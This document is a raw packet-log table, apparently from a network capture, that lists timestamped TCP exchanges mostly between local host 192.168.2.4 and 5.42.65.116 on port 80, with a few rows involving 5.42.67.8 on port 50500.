Jun 20, 2024 06:49:11.559777975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559792042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559812069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559834003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559844971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559850931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559878111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559890032 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559925079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559928894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559963942 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559977055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559997082 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560012102 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560048103 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560050011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560080051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560100079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560112953 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560125113 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560147047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560163975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560194016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560198069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560230970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560245991 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560262918 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560281038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560305119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560316086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560348034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560370922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560380936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560393095 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560414076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560429096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560446978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560461998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560480118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560503960 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560530901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560556889 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560563087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560590982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560595989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560610056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560628891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560653925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560661077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560679913 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560693979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.560709000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.560740948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645596027 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645637035 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645657063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645710945 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645761013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645793915 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645824909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645843983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645843983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645843983 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645858049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645881891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645890951 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645891905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645925999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645926952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645945072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645958900 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.645977974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.645993948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646003962 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646025896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646043062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646059036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646073103 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646095037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646106958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646141052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646291971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646322966 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646342993 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646356106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646368027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646401882 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646421909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646461964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646472931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646512032 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646513939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646559000 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646563053 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646596909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646610975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646641970 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646646976 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646681070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646693945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646713018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646728039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646749020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646758080 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646779060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.646796942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.646825075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.492280960 CEST	49732	50500	192.168.2.4	5.42.67.8
Jun 20, 2024 06:49:12.492609024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.497229099 CEST	50500	49732	5.42.67.8	192.168.2.4
Jun 20, 2024 06:49:12.497446060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.687916994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.688065052 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.688570023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.693341970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.884864092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.884934902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.884988070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885020018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885068893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885133028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885165930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885198116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885206938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885206938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885206938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885207891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885207891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885207891 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885231972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885278940 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885313988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885344982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885376930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885426044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885457993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885490894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885510921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885510921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885510921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885510921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885510921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885529041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885550022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885560989 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885576963 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885595083 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885627985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885658979 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885662079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885662079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885662079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885691881 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885724068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885755062 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885787964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885818005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885818958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885818958 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885819912 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885850906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885883093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885934114 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885945082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885945082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885945082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.885966063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.885998964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886029959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886035919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886035919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886061907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886092901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886101961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886101961 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886125088 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886157036 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886157990 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886189938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886220932 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886256933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886256933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886270046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886270046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886301994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886334896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886365891 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886368036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886368036 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886389017 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886398077 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886432886 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886459112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886459112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886467934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886499882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886528015 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886532068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886554956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886567116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886600018 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886631012 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886632919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886632919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886663914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886665106 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886697054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886729002 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886759996 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886759996 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886759996 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886778116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886801004 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886828899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886861086 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886892080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886925936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886935949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886935949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886935949 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886959076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.886981010 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.886991024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887022972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887028933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887054920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887087107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887118101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887149096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887168884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887168884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887168884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887168884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887181997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887208939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887214899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887231112 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887245893 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887279034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887300014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887300014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887314081 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887320042 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887346983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887378931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887409925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887442112 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887448072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887448072 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887449026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887449026 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887490034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887522936 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887554884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887589931 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887615919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887615919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887615919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887615919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887628078 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887650967 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887660980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887693882 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887725115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887725115 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887757063 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887789011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887820959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887847900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887847900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887847900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887847900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887852907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887878895 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.887887001 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887918949 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887952089 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.887983084 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888000011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888000011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888000011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888000011 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888014078 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888046980 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888058901 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888058901 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888083935 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888114929 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888147116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888178110 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888207912 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888223886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888223886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888223886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888223886 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888242960 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888264894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888277054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888309002 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888312101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888335943 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888344049 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888369083 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888376951 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888387918 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888410091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888436079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888442993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888474941 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888520956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888520956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888520956 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888539076 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888571978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888602972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888623953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888634920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888668060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888699055 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.888746977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888746977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888746977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.888746977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.976558924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976603031 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976663113 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976713896 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976763964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976798058 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976830006 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:12.976852894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.976854086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:12.976864100 CEST	80	49743	5.42.65.116	192.168.2.4
